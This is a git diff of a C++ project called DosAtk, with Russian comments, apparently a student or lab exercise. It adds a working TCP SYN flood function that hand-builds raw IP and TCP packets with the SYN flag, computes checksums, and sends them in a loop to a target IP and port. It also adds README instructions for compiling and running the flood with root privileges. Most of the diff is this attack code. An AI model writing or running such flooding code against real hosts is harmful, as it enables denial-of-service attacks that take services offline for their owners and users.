diff --git a/.gitignore b/.gitignore index 600d2d3..7451162 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,4 @@ -.vscode \ No newline at end of file +.vscode +src/test.cpp +test +DosAtk diff --git a/README.md b/README.md index 7e15699..66ed2fd 100644 --- a/README.md +++ b/README.md @@ -11,4 +11,7 @@ git push origin my_dns # Пушим свою ветку в репозитори Для компиляции: g++ DosAtk.cpp -lcurl -Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: sudo apt-get install libcurl4-openssl-dev \ No newline at end of file +Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: sudo apt-get install libcurl4-openssl-dev + +Пример запуска: +sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 \ No newline at end of file diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 41825a6..5232c14 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -8,6 +8,16 @@ #include // Функции для работы с символами (isdigit, isalpha и др.) #include // Библиотека libcurl для HTTP-запросов (отправка в Telegram) +#include // Работа со строками и памятью (memset, memcpy) +#include // POSIX API (close, read, write) +#include // Сокеты (socket, setsockopt, sendto) +#include // Структура IP-заголовка (struct iphdr) +#include // Структура TCP-заголовка (struct tcphdr) +#include // Преобразование IP-адресов (inet_addr, inet_pton) +#include // Определение констант сетевых интерфейсов (IFNAMSIZ) +#include // Управление сокетами и интерфейсами (ioctl) +#include // Флаги файловых дескрипторов (fcntl) + // Глобальные переменные std::string attack_type; // Тип атаки: scan или syn std::string domain; // Доменное Имя @@ -353,10 +363,163 @@ int my_dns() return 0; } -int my_tcp_syn() -{ - // Данная процедура выполняет TCP SYN Flood атаку - return 2; +unsigned short checksum(void *data, int len) { + // считай чексумму для пакета + auto *ptr = (uint16_t *)data; + unsigned long sum = 0; + while (len > 1) { + sum += *ptr++; + len -= 2; + } + if (len == 1) sum += *(uint8_t *)ptr; + sum = (sum >> 16) + (sum & 0xFFFF); + return (unsigned short)(~sum); +} + +void my_tcp_syn() { + // === Инициализация переменных === + + // Сетевые сокеты + int route_sock = -1; // Сокет для определения нашего IP (инициализирован -1 как индикатор ошибки) + int sock = -1; // Raw-сокет для отправки пакетов (инициализирован -1) + int one = 1; // Флаг для setsockopt (1 = включить опцию) + + // Структуры для адресов + struct sockaddr_in target_addr; // Адрес цели (куда отправляем SYN) + struct sockaddr_in src_addr; // Наш локальный адрес + socklen_t len = sizeof(src_addr); // Размер структуры адреса + + // Параметры подключения + uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) + + // Структуры заголовков + struct iphdr ip_header; // IP-заголовок пакета + struct tcphdr tcp_header; // TCP-заголовок пакета + + // Псевдозаголовок для контрольной суммы TCP + struct { + uint32_t saddr; // Адрес отправителя + uint32_t daddr; // Адрес получателя + uint8_t zero; // Зарезервировано (0) + uint8_t protocol; // Протокол (TCP) + uint16_t tcp_len; // Длина TCP-сегмента + } pseudo_header; + + // Буферы данных + char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Временный буфер для контрольной суммы + char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет для отправки + char src_ip_str[INET_ADDRSTRLEN]; // Строковое представление нашего IP + + // === Основная логика функции === + + // Преобразуем строковый порт в число и конвертируем в сетевой порядок байт + target_port = htons(atoi(port.c_str())); + + // 1. Создаем временный UDP-сокет для определения нашего IP + if ((route_sock = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { + perror("Ошибка создания сокета для определения IP"); + status = -102; // Устанавливаем глобальный статус ошибки + return; // Выходим из функции + } + + // 2. Настраиваем адрес цели (куда будем отправлять SYN) + memset(&target_addr, 0, sizeof(target_addr)); // Обнуляем структуру + target_addr.sin_family = AF_INET; // Семейство адресов - IPv4 + + // Преобразуем строковый IP в бинарный формат + if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) { + perror("Ошибка преобразования IP адреса"); + close(route_sock); // Закрываем сокет перед выходом + status = -102; + return; + } + + // 3. Устанавливаем соединение (для определения нашего IP) + if (connect(route_sock, (struct sockaddr *)&target_addr, sizeof(target_addr))) { + perror("Ошибка connect для определения IP"); + close(route_sock); + status = -102; + return; + } + + // 4. Получаем наш локальный IP-адрес, который система выбрала для этого соединения + if (getsockname(route_sock, (struct sockaddr *)&src_addr, &len)) { + perror("Ошибка getsockname"); + close(route_sock); + status = -102; + return; + } + close(route_sock); // Закрываем временный сокет + + // 5. Создаем raw-сокет для отправки TCP-пакетов + if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { + perror("Ошибка создания raw-сокета"); + status = -102; + return; + } + + // 6. Включаем режим ручного формирования IP-заголовка + setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); + + // 7. Формируем IP-заголовок + memset(&ip_header, 0, sizeof(ip_header)); // Обнуляем структуру + ip_header.ihl = 5; // Длина заголовка в 32-битных словах (5*4 = 20 байт) + ip_header.version = 4; // Версия IPv4 + ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr)); // Общая длина пакета + ip_header.ttl = 64; // Время жизни пакета (хопы) + ip_header.protocol = IPPROTO_TCP; // Протокол верхнего уровня (TCP) + ip_header.saddr = src_addr.sin_addr.s_addr; // Наш IP + ip_header.daddr = inet_addr(ip.c_str()); // IP цели + + // 8. Формируем TCP-заголовок + memset(&tcp_header, 0, sizeof(tcphdr)); // Обнуляем структуру + tcp_header.source = htons(12345); // Произвольный исходный порт + tcp_header.dest = target_port; // Порт цели + tcp_header.seq = htonl(123456); // Начальный номер последовательности + tcp_header.doff = 5; // Длина заголовка в 32-битных словах (5*4 = 20 байт) + tcp_header.syn = 1; // Устанавливаем флаг SYN (запрос соединения) + tcp_header.window = htons(5840); // Размер окна + + // 9. Рассчитываем контрольную сумму TCP + pseudo_header = { + .saddr = ip_header.saddr, // Адрес отправителя + .daddr = ip_header.daddr, // Адрес получателя + .zero = 0, // Зарезервировано + .protocol = IPPROTO_TCP, // Протокол TCP + .tcp_len = htons(sizeof(tcphdr)) // Длина TCP-заголовка + }; + // Копируем псевдозаголовок и TCP-заголовок во временный буфер + memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header)); + memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); + // Вычисляем и устанавливаем контрольную сумму + tcp_header.check = checksum(temp_buf, sizeof(temp_buf)); + + // 10. Собираем итоговый пакет (IP-заголовок + TCP-заголовок) + memcpy(packet, &ip_header, sizeof(iphdr)); + memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr)); + + // 11. Настраиваем адрес цели для отправки + memset(&target_addr, 0, sizeof(target_addr)); + target_addr.sin_family = AF_INET; + target_addr.sin_addr.s_addr = inet_addr(ip.c_str()); + + // 12. Отправляем пакет + if (sendto(sock, packet, sizeof(packet), 0, + (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { + n_fail_requests++; + } + else + { + n_ok_requests++; + } + + status = 0; + if ((n_ok_requests + n_fail_requests) >= 1000) + { + status = 2; + } + + close(sock); } int my_udp() @@ -454,15 +617,15 @@ int main(int argc, char **argv) if (dns_status == 0) { - while (tcp_syn_status = my_tcp_syn()) + while (true) { - if (tcp_syn_status == 2) + my_tcp_syn(); + if (status == 2) { break; } - else if (tcp_syn_status < 0) + else if (status < 0) { - status = tcp_syn_status; my_diag(); log_status = my_log(); if (log_status == 1)